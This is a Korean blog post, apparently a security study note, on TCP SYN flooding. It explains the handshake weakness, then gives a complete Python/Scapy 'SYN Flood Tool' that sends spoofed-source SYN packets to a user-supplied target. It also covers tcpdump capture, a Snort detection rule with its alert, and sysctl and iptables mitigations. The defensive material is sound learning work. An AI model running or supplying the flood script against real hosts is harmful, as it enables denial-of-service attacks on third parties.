티스토리 뷰

반응형

TCP SYN Flooding

공격자가 여러 Syn 패킷을 날려 서버를 마비 시키는 공격

 

클라이언트가 서버와 연결을 시도할 때 Syn 패킷을 전송하게 된다. 이때 서버는 Syn + Ack 패킷 다시 전송하면서 클라이언트와 연결을 위한 메모리 공간을 할당(큐 생성)한다. 하지만 클라이언트가 Ack 신호를 보내주지 않고 Syn 만 전송하게 되면 서버는 메모리 큐가 포화되어 서버 장애가 발생하게된다. 또한 SYN Backlog 큐가 늘어나 다른 클라이언트의 요청을 처리할 수 없는 상태가 된다.

 



Synflood Python 코드

from scapy.all import *
import os
import sys
import random

def randomIP():
	ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
	return ip

def randInt():
	x = random.randint(1000,9000)
	return x

def SYN_Flood(dstIP,dstPort,counter):
	total = 0
	print ("Packets are sending ...")
	for x in range (0,counter):
		s_port = randInt()
		s_eq = randInt()
		w_indow = randInt()

		IP_Packet = IP()
		IP_Packet.src = randomIP()
		IP_Packet.dst = dstIP

		TCP_Packet = TCP()	
		TCP_Packet.sport = s_port
		TCP_Packet.dport = dstPort
		TCP_Packet.flags = "S"
		TCP_Packet.seq = s_eq
		TCP_Packet.window = w_indow

		send(IP_Packet/TCP_Packet, verbose=0)
		print(send)
		total+=1
	sys.stdout.write("\nTotal packets sent: %i\n" % total)


def info():
	os.system("clear")
	print ("#############################")
	print ("# Welcome to SYN Flood Tool #")
	print ("#############################")

	dstIP = input ("\nTarget IP : ")
	dstPort = input ("Target Port : ")
	
	return dstIP,int(dstPort)
	

def main():
	dstIP,dstPort = info()
	counter = input ("How many packets do you want to send : ")
	SYN_Flood(dstIP,dstPort,int(counter))

main()



Tcpdump 로 패킷 모니터링

$ tcpdump -nn -i enp0s3 tcp port 24 -w enp0s3.cap
$ tcpdump -r enp0s3.cap

아래 그림의 로그 중 Flags [S] 라고 적혀져 있는것이 Syn 패킷을 날린 것이고 24번 포트는 현재 닫혀 있으므로 Rst 패킷을 날려 Flags [R] 로그가 발생하였다. (포트가 정상적으로 열려있으면 Ack+Syn 패킷이 리턴)

 

Snort 패킷 탐지 및 Alert

 

1. local rule

alert tcp any any -> any 24 (msg:"SYN ATTACK"; flags:S; threshold:type both, track by_dst, count 10, seconds 20; sid:1000001;)

 

2. Alert 내용

[**] [1:1000001:0] SYN ATTACK [**]
[Priority: 0]
12/16-09:01:08.119677 22.191.144.45:6336 -> 192.168.0.26:24
TCP TTL:64 TOS:0x0 ID:1 IpLen:20 DgmLen:40
******S* Seq: 0x1639  Ack: 0x0  Win: 0x1013  TcpLen: 20

20초 동안 10번의 Syn 패킷 수신이 있을 때 로그가 발생하였다. 이러한 alert를 활용하여 탐지 대시보드 또는 리눅스 shell, python 을 활용하여 대응하는 방법은 다음에 시도해봐야겠다.

 


대응방법: 
1) tcp_max_backqueue 증가, sysctl -w net.ipv4.tcp_max_syn_backlog=1024
2) 임계치를 조정하여 TCP 세션연결을 차단한다. iptables -A INPUT -p TCP --dport 80 --syn -m limit --limit 10/second -j ACCEPT
3) 라우터 Watch Mode -> 특정시간동안 established가 안되면 연결 끊기
4) 라우터 intercept Mode -> SYN패킷을 서버로 전송하지 않고 라우터에서 가로채어 대신 연결



 

반응형
반응형
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함